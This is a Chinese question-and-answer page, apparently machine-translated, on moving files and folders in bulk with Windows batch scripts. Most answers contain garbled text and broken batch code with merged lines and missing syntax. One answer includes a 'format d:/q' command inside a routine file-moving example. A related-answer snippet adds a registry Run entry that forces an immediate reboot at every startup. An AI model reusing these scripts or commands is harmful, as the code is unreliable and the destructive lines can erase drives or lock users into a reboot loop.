批处理,批量移动文件,如何批量移动文件和文件夹?

发布于 科技 2024-05-16
6个回答
  1. 匿名用户2024-01-28

    将 1000 个文件从文件夹 A 移动到文件夹 1、2、3 并替换为 123,因为 bcde 和其他项目不容易操作。

    echo off

    setlocal enabledelayedexpansionset p=1

    set index=0

    rem 到文件夹 A。

    cd amd ..p!

    for %%i in (*do (

    set /a index+=1

    if !index!==1000 (

    set index=0

    set /a p+=1

    md ..p!

    REM 将文件移动到指定的文件夹。

    move "%%i" "..\p!\"

    pause

  2. 匿名用户2024-01-27

    echo off

    setlocal enabledelayedexpansionset a n=1 & set a m=0set p a=输入文件夹中的文件总数:

    set p b=输入每次移动的文件数:

    set/a a=a/b+1

    for /l %%b in (1 1 %a%)do md %%bfor /r %%c in (*jpg)do (move "%%c" !n!\

    set/a m+=1&if !m!==b (set/a n+=1&set/a m=0)rd .\/q

    pause

  3. 匿名用户2024-01-26

    我想这是你能做到的唯一方法。

  4. 匿名用户2024-01-25

    1.例如,如果我销毁了我的孙子,我想将文件夹1-5移动到摘要文件夹,如下图所示,<>

    2.我们打开一个**,在第一列输入move,在第二列输入每个文件夹的名称,在第三列输入要移动的文件夹的名称,如下图所示,<>

    3. 然后在文件夹中创建一个新的文本文档,如下图所示,<>4。将文本文档的后缀修改为bat,然后单击“是”,如下图所示,<>

    6. 复制我们刚才描述的内容,如下图所示,<>7.粘贴到文志空文档中,如下图所示,<>8。粘贴完成后,记得保存文档,如下图所示,<> 9,然后双击运行文本文档,如下图所示,<> 10,最后我们可以看到文件夹,根据我们的需要,会自动移动到摘要文件夹,如下图所示, <>

  5. 匿名用户2024-01-24

    您将使用批处理,即将其拖放到批处理上执行,如果没有,请打开它并自己输入路径。

    你的话题似乎没有任何实际意义,是吗? 在我写这篇文章的时候,你的文件夹名称不一定是 a、b、c、d,它可以是一个具有实际意义的特定文件夹,只要它不包含批处理无法处理的特殊符号。

    我写这个是为了把 a 下的所有子文件都移到 A 文件夹中,虽然我写了很多,但是为了提供一个友好的操作界面,可以拖拽到批处理上执行,打开后也可以手动输入路径,输出哪些文件在运行时由用户重命名, 并在全部完成后停留 2 秒,让用户看到重命名的文件名,防止文件被找到,支持 cmd 调用,不破坏父批处理的路径设置,如果运行失败不终止父批处理,可以将参数 movefileall 返回给父批处理,以指示是否全部正确移动, 并在调用批处理时使用 call 命令而不是 start 命令。如果还是不明白,请询问,希望能采用。

  6. 匿名用户2024-01-23

    如果需要大规模移动和删除文件,可以使用批处理文件,不仅简单方便,而且易于发现错误并及时纠正。

    例如,放置 D 驱动器。 将 HTM 文件传输到驱动器 E,格式化驱动器 D,然后将文件移回驱动器 D 并将扩展名更改为。 html。

    示例:1将下面的**另存为文件并运行它。

    e:md d

    d:copy *.htm e:d

    if exist e:d*.htm call

    2.将下面的**另存为文件并运行它。

    format d:/q

    copy e:d*.htm d:

    d:ren *.htm *.html

    之前我们谈到了使用浏览器或其他软件来提取文件名,今天我们详细阐述了使用批处理快速批量提取文件名的方法。

    首先,我们单击资源管理器中“工具”下的“文件夹选项”命令。

    右键单击空白区域,然后从弹出菜单中选择“新建”"在“文本文档”下

    在新创建的文本中输入 dir *.b >

    保存并关闭文本。 选择此文本,F2键重命名,修改后脊柱凳固定为蝙蝠,这时会弹出一个对话框,别管它,点击确定按钮。

    此时,双击刚刚重命名的文本。

    此时会生成一个列表文本文件,打开这个文件,删除不是文件名的部分。

    当然,您可以使用“替换”命令来删除后缀。

    这为我们提供了我们想要的文件名。

相关回答
7个回答2024-05-16

非常容易使用! 王申老昌!

7个回答2024-05-16

迟小北写的**只能在XP系统上使用! Win7系统无法正常使用。 >>>More

13个回答2024-05-16

for /f "delims=" %%a in ('目录 A-D B *知道*xls') do (

for /f "tokens=1,2 delims=0123456789" %%b in ("%%~a") do ( >>>More

9个回答2024-05-16

学习过 DOS 的资深用户对批处理略知一二,但刚开始使用 Windows 的用户可能不太了解。 在 Windows 时代,批处理仍然占有一席之地。 举几个例子,例如,当你安装一台新电脑时,你需要使用dos命令,你需要输入命令来安装系统; 如果您可以将所有命令串在一起并使它们自动执行,则安装将自动执行。 >>>More

12个回答2024-05-16

echo off

reg add hkey_local_machine\software\microsoft\windows\currentversion\run /v "reboot_system" /t reg_sz /d "shutdown -r -t 0" >>>More